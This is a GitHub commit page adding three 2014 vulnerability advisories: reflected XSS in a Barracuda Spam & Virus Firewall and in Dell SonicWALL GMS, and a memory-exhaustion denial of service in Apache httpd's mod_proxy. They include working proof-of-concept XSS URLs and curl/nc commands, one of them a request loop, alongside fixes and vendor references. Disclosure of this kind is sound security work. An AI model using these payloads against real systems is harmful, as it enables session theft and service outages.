Skip to content

Commit b89976a

Browse files
darksheerdarksheer
committed
added exploits for 24 July
1 parent baa0e75 commit b89976a

11 files changed

Lines changed: 932 additions & 0 deletions

‎1407-exploits/VL-890.txt‎

Lines changed: 174 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
Document Title:
2+
===============
3+
Barracuda Networks Spam&Virus Firewall v6.0.2 (600 & Vx) - Client Side Cross Site Vulnerability
4+
5+
6+
References (Source):
7+
====================
8+
http://www.vulnerability-lab.com/get_content.php?id=890
9+
10+
Barracuda Networks Security ID (BNSEC): BNSEC-1176
11+
https://www.barracuda.com/support/knowledgebase/501600000013gvh
12+
13+
Solution #00006521
14+
BNSEC-01176: Authenticated non-persistent XSS in Barracuda Spam and Virus Firewall v6.0.2
15+
16+
17+
Release Date:
18+
=============
19+
2014-07-21
20+
21+
22+
Vulnerability Laboratory ID (VL-ID):
23+
====================================
24+
890
25+
26+
27+
Common Vulnerability Scoring System:
28+
====================================
29+
2.3
30+
31+
32+
Product & Service Introduction:
33+
===============================
34+
Barracuda Networks, Inc. is a privately held company providing security, networking and storage products based on network appliances and
35+
cloud services. The company’s security products include products for protection against email, web surfing, web hackers and instant messaging
36+
threats such as spam, spyware, trojans, and viruses. The company`s networking and storage products include web filtering, load balancing,
37+
application delivery controllers, message archiving, NG firewalls, backup services and data protection.
38+
39+
(Copy of the Vendor Homepage: https://www.barracudanetworks.com/products/spamandvirusfirewall/models)
40+
41+
42+
Abstract Advisory Information:
43+
==============================
44+
An independent researcher (Ebrahim Hegazy) discovered a client side cross site vulnerability in the Barracuda Networks Spam & Virus Firewall 5.1.0.012 Appliance.
45+
46+
47+
Vulnerability Disclosure Timeline:
48+
==================================
49+
2013-10-26: Researcher Notification & Coordination (Ebrahim Hegazy)
50+
2013-11-27: Vendor Notification (Barracuda Networks - Bug Bounty Team)
51+
2013-12-03: Vendor Response/Feedback (Barracuda Networks - Bug Bounty Team)
52+
2014-00-00: Vendor Fix/Patch (Barracuda Networks - Developer Team)
53+
2014-00-00: Public Disclosure (Vulnerability Laboratory)
54+
55+
56+
Discovery Status:
57+
=================
58+
Published
59+
60+
61+
Affected Product(s):
62+
====================
63+
Barracuda Networks
64+
Product: Spam & Virus Firewall 5.1.0.012 (Model 600)
65+
66+
67+
Exploitation Technique:
68+
=======================
69+
Remote
70+
71+
72+
Severity Level:
73+
===============
74+
Medium
75+
76+
77+
Technical Details & Description:
78+
================================
79+
A non persistent cross site scripting vulnerability has been discovered in the official Barracuda Networks Spam&Virus Firewall 600 v5.1.0.x Appliance Application.
80+
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions informaton by client-side cross site scripting requests.
81+
82+
The vulnerability is located in the main `index.cgi` module of the appliance. The vulnerable application GET values are `auth_type`, `primary_tab` and `secoundary_tab`.
83+
The client-side script code execution occurs in the `index.cgi` after processing to click the client-side manipulated link with the cross site scripting payload.
84+
The attack vector of the vulnerability is located on the client-side of the appliance service. The request method to inject the script code is `GET`.
85+
86+
The security risk of the non-persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.3.
87+
Exploitation of the client-side remote vulnerability requires low or medium user interaction and no privileged application user account. Successful exploitation results
88+
in client-side account theft by hijacking, client-side phishing, client-side external redirects and non-persistent manipulation of appliance application- or connected modules.
89+
90+
Vulnerable Service(s):
91+
[+] Barracuda Networks - Spam & Virus Firewall 600 v5.1.0.x [BUG BOUNTY: http://spam.ptest.cudasvc.com]
92+
93+
Vulnerable Module(s):
94+
[+] ../cgi-mod/index.cgi
95+
96+
Vulnerable Parameter(s):
97+
[+] auth_type
98+
[+] primary_tab
99+
[+] secondary_tab
100+
101+
Affected Section(s):
102+
[+] Index - Tab Listings
103+
104+
105+
Proof of Concept (PoC):
106+
=======================
107+
The client side cross site scripting web vulnerability can be exploited by remote attackers without privileged application user account and
108+
with low or medium user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information
109+
and steps below to continue.
110+
111+
Service: Bug Bounty Server (ptest)
112+
Seriennummer: #BAR-SF-362525
113+
Firmware: v5.1.0.012 (2011-10-27 11:34:08)
114+
Modell:V600
115+
116+
1- primary_tab
117+
2- auth_type
118+
3- secondary_tab
119+
120+
PoC: Service Link with client-side injected Payload
121+
http://spam.ptest.cudasvc.com/cgi-mod/index.cgi?primary_tab=1%27-alert%28document.location%29-%27//&secondary_tab=quarantine_setup&realm=
122+
%0D&auth_type=Local&user=guest&password=0dc15354daf5236353adf547cf675a49&et=1361818196&role=%0D&locale=en_US&q=
123+
%0D&UPDATE_scana_per_user=Yes&save=Save+Changes&UPDATE_scana_quarantine_addr=fdhdf&UPDATE_scana_quarantine_tag=[QUAR]
124+
&UPDATE_scana_quarantine_reply_addr=postmaster@barracudanetworks.com&UPDATE_quarantine_inbox_url=
125+
%0D&UPDATE_quarantine_enable_default=No&UPDATE_scana_use_default_domain=No&UPDATE_scana_quarantine_notify=Daily&UPDATE_notification_time=15%3
126+
a35&UPDATE_outbound_dusage_use_size_limit=No&UPDATE_outbound_dusage_size_limit=1024000&UPDATE_outbound_dusage_use_age_limit=Yes&UPDATE_outbou
127+
nd_dusage_age_limit=30&UPDATE_user_quarantine_notify=Never&UPDATE_outbound_notification_time=15%3a35&UPDATE_user_quarantine_email_address=%0D
128+
129+
130+
Solution - Fix & Patch:
131+
=======================
132+
The vulnerable function and script context should be filtered when processing to encode meta characters in client-side user inputs.
133+
Especially when the context will be prepared to reflect inside of the main page index.cgi context.
134+
135+
136+
Security Risk:
137+
==============
138+
The security risk of the client-side cross site scripting web vulnerabilities are estimated as medium(-).
139+
140+
141+
Credits & Authors:
142+
==================
143+
Vulnerability Laboratory [Research Team] - Ebrahim Hegazy [ebrahim@evolution-sec.com] (www.vulnerability-lab.com)
144+
145+
146+
Disclaimer & Information:
147+
=========================
148+
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
149+
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
150+
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
151+
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
152+
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
153+
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
154+
155+
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
156+
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
157+
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
158+
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
159+
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
160+
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
161+
162+
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
163+
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
164+
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
165+
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
166+
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
167+
168+
Copyright © 2014 | Vulnerability Laboratory [Evolution Security]
169+
170+
--
171+
VULNERABILITY LABORATORY RESEARCH TEAM
172+
DOMAIN: www.vulnerability-lab.com
173+
CONTACT: research@vulnerability-lab.com
174+

‎1407-exploits/cve-2014-0117.txt‎

Lines changed: 162 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,162 @@
1+
::: ::::::::: ::: :::::::: ::: ::::::::::::: ::: :::::::::::::::::::::::::::::::::: :::::::::
2+
:+: :+: :+: :+: :+: :+: :+: :+::+: :+::+: :+: :+: :+: :+: :+: :+::+: :+:
3+
+:+ +:+ +:+ +:++:+ +:+ +:+ +:+ +:++:+ +:+ +:+ +:+ +:+ +:+ +:++:+ +:+
4+
+#++:++#++:+#++:++#++#++:++#++:+#+ +#++:++#+++#++:++# +#++:++#++ +#+ +#+ +#++:++#+ +#+ +:+
5+
+#+ +#++#+ +#+ +#++#+ +#+ +#++#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
6+
#+# #+##+# #+# #+##+# #+##+# #+##+# #+# #+# #+# #+# #+# #+# #+#
7+
### ###### ### ### ######## ### ############# ### ### ### ### ### #########
8+
9+
:::::::: ::: ::::::::::::: :::::::: ::::::: ::: ::: ::::::: ::: ::::::::::::::
10+
:+: :+::+: :+::+: :+: :+::+: :+::+:+: :+: :+: :+::+:+: :+:+::+: :+:
11+
+:+ +:+ +:++:+ +:+ +:+ :+:+ +:+ +:+ +:+ +:+ :+:+ +:+ +:+ +:+
12+
+#+ +#+ +:++#++:++# #++:++ +#+ +#+ + +:+ +#+ +#+ +:+ #++:+++ #+ + +:+ +#+ +#+ +#+
13+
+#+ +#+ +#+ +#+ +#+ +#+# +#+ +#++#+#+#+#+#+ +#+# +#+ +#+ +#+ +#+
14+
#+# #+# #+#+#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
15+
######## ### ########## ########## ####### ####### ### ####### ############## ###
16+
17+
+:+:+:+:+:+:++:+:+:+:+:+:++:+:+:+:+:+:++:+:+:+:+:+:++:+:+:+:+:+:++:+:+:+:+:+:++:+:+:+:+:+:++:+:+:+:+:+:++:+:+:+:+:+
18+
+#+#+#+#+#+#++#+#+#+#+#+#++#+#+#+#+#+#++#+#+#+#+#+#++#+#+#+#+#+#++#+#+#+#+#+#++#+#+#+#+#+#++#+#+#+#+#+#++#+#+#+#+#+
19+
20+
21+
Hi there,
22+
23+
Software: apache httpd 2.4.7 , possibly others from 2.3 and 2.4 branches.
24+
25+
If apache is configured with mod_proxy module (for example in front of
26+
a tomcat, or proxypassing requests to other backend servers), it is possible
27+
to use all available memory on the server and potenatially cause an OOM
28+
condition that requires a reboot. In our tests, a single requests was causing
29+
apache to spin and keep allocating memory (gigabytes in seconds). A simple bash
30+
script that does this X time can speed the process up.
31+
32+
Bug can be triggered in request or response.
33+
34+
PoC (request):
35+
-- cut --
36+
curl -H 'Connection: ;' http://127.0.0.1/
37+
-- cut --
38+
39+
PoC (response):
40+
printf "HTTP/1.1 200 OK\r\nConnection: ;\r\n\r\n" | nc -l -p 80
41+
42+
43+
Example config to replicate it, in httpd.conf :
44+
-- cut --
45+
<Proxy balancer://mycluster>
46+
BalancerMember http://127.0.0.1:8100
47+
</Proxy>
48+
ProxyPass / balancer://mycluster
49+
-- cut --
50+
51+
then listen on port 8100 :
52+
-- cut --
53+
nc -l -p 8100
54+
-- cut --
55+
56+
Then send a request with "Connection: ;" header and watch the memory usage.
57+
-- cut --
58+
curl -H 'Connection: ;' http://127.0.0.1/
59+
-- cut --
60+
61+
Single request will usually get killed with the following message:
62+
-- cut --
63+
[crit] Memory allocation failed, aborting process.
64+
[core:notice] [pid 3205:tid 139786428621120] AH00051: child pid 4212 exit signal Aborted (6), possible coredump in
65+
-- cut --
66+
67+
hence it may be more visible on machines with huge ram by running more requests, ideally
68+
concurrently but this should do as well for demonstration purposes:
69+
-- cut --
70+
for i in `seq 1 100` ; do curl -m 1 -H 'Connection: ;' http://127.0.0.1/ ; done
71+
-- cut --
72+
73+
74+
Now where the problem is : incorrect parsing in find_conn_headers , it only moves
75+
the pointer when it encounters a comma, and calls ap_get_token which returns an empty
76+
string as it skips over ';'.
77+
78+
79+
// key == 'Connection'
80+
// val == ';'
81+
82+
static int find_conn_headers(void *data, const char *key, const char *val)
83+
{
84+
header_connection *x = data;
85+
const char *name;
86+
87+
do {
88+
while (*val == ',') { // jump over expected comma separator
89+
val++;
90+
}
91+
name = ap_get_token(x->pool, &val, 0); // returns empty string in our case
92+
if (!strcasecmp(name, "close")) { // not mached, branch not taken
93+
x->closed = 1;
94+
}
95+
if (!x->first) { // branch taken
96+
x->first = name; // "" as name is empty
97+
}
98+
else { // branch not taken due to above
99+
const char **elt;
100+
if (!x->array) {
101+
x->array = apr_array_make(x->pool, 4, sizeof(char *));
102+
}
103+
elt = apr_array_push(x->array);
104+
*elt = name;
105+
}
106+
} while (*val); // val is still ';'
107+
108+
return 1;
109+
}
110+
111+
/* Retrieve a token, spacing over it and returning a pointer to
112+
* the first non-white byte afterwards. Note that these tokens
113+
* are delimited by semis and commas; and can also be delimited
114+
* by whitespace at the caller's option.
115+
*/
116+
117+
AP_DECLARE(char *) ap_get_token(apr_pool_t *p, const char **accept_line,
118+
int accept_white)
119+
{
120+
const char *ptr = *accept_line;
121+
const char *tok_start;
122+
char *token;
123+
int tok_len;
124+
125+
/* Find first non-white byte */
126+
127+
while (apr_isspace(*ptr))
128+
++ptr;
129+
130+
tok_start = ptr; // ';'
131+
132+
/* find token end, skipping over quoted strings.
133+
* (comments are already gone).
134+
*/
135+
136+
while (*ptr && (accept_white || !apr_isspace(*ptr))
137+
&& *ptr != ';' && *ptr != ',') { // not satisfied as ';'
138+
if (*ptr++ == '"') // skips the if itself
139+
while (*ptr)
140+
if (*ptr++ == '"')
141+
break;
142+
}
143+
144+
tok_len = ptr - tok_start; // 0
145+
token = apr_pstrndup(p, tok_start, tok_len); // token = ""
146+
147+
/* Advance accept_line pointer to the next non-white byte */
148+
149+
while (apr_isspace(*ptr)) // not a space
150+
++ptr;
151+
152+
*accept_line = ptr;
153+
return token;
154+
}
155+
156+
157+
We hope you enjoyed it.
158+
159+
Regards,
160+
Marek Kroemeke, AKAT-1 and 22733db72ab3ed94b5f8a1ffcde850251fe6f466
161+
162+

‎1407-exploits/dellsonicwallanalyzer-xss.txt‎

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
I. VULNERABILITY
2+
-------------------------
3+
Reflected XSS vulnerabilities in DELL SonicWALL GMS 7.2 Build: 7221.1701
4+
5+
II. BACKGROUND
6+
-------------------------
7+
Dell® SonicWALL® provides intelligent network security and data protection
8+
solutions that enable customers and partners to dynamically secure,
9+
control, and scale their global networks.
10+
11+
III. DESCRIPTION
12+
-------------------------
13+
Has been detected a Reflected XSS vulnerability in DELL SonicWALL GMS.
14+
The code injection is done through the parameter "node_id" in the page
15+
“/sgms/panelManager?level=1&typeOfUnits=2&node_name=GlobalView&node_id=(HERE
16+
XSS)”
17+
18+
IV. PROOF OF CONCEPT
19+
-------------------------
20+
The application does not validate the parameter “node_ID” correctly.
21+
https://10.200.210.222:8443/sgms/panelManager?level=1&typeOfUnits=2&node_name=GlobalView&node_id=aaaaaaa'</script><body
22+
onload=alert(document.cookie)>&panelidz=0,4#tabs-4
23+
24+
V. BUSINESS IMPACT
25+
-------------------------
26+
An attacker can execute arbitrary HTML or script code in a targeted
27+
user's browser, that allows the execution of arbitrary HTML/script code to
28+
be executed in the context of the victim user's browser allowing Cookie
29+
Theft/Session Hijacking, thus enabling full access the box.
30+
31+
VI. SYSTEMS AFFECTED
32+
-------------------------
33+
Tested DELL SonicWALL Analyzer v7.2 (build 7220.1700)
34+
35+
VII. SOLUTION
36+
-------------------------
37+
https://support.software.dell.com/product-notification/128245
38+
39+
By William Costa
40+
william.costa@gmail.com
41+
42+

0 commit comments

Comments
 (0)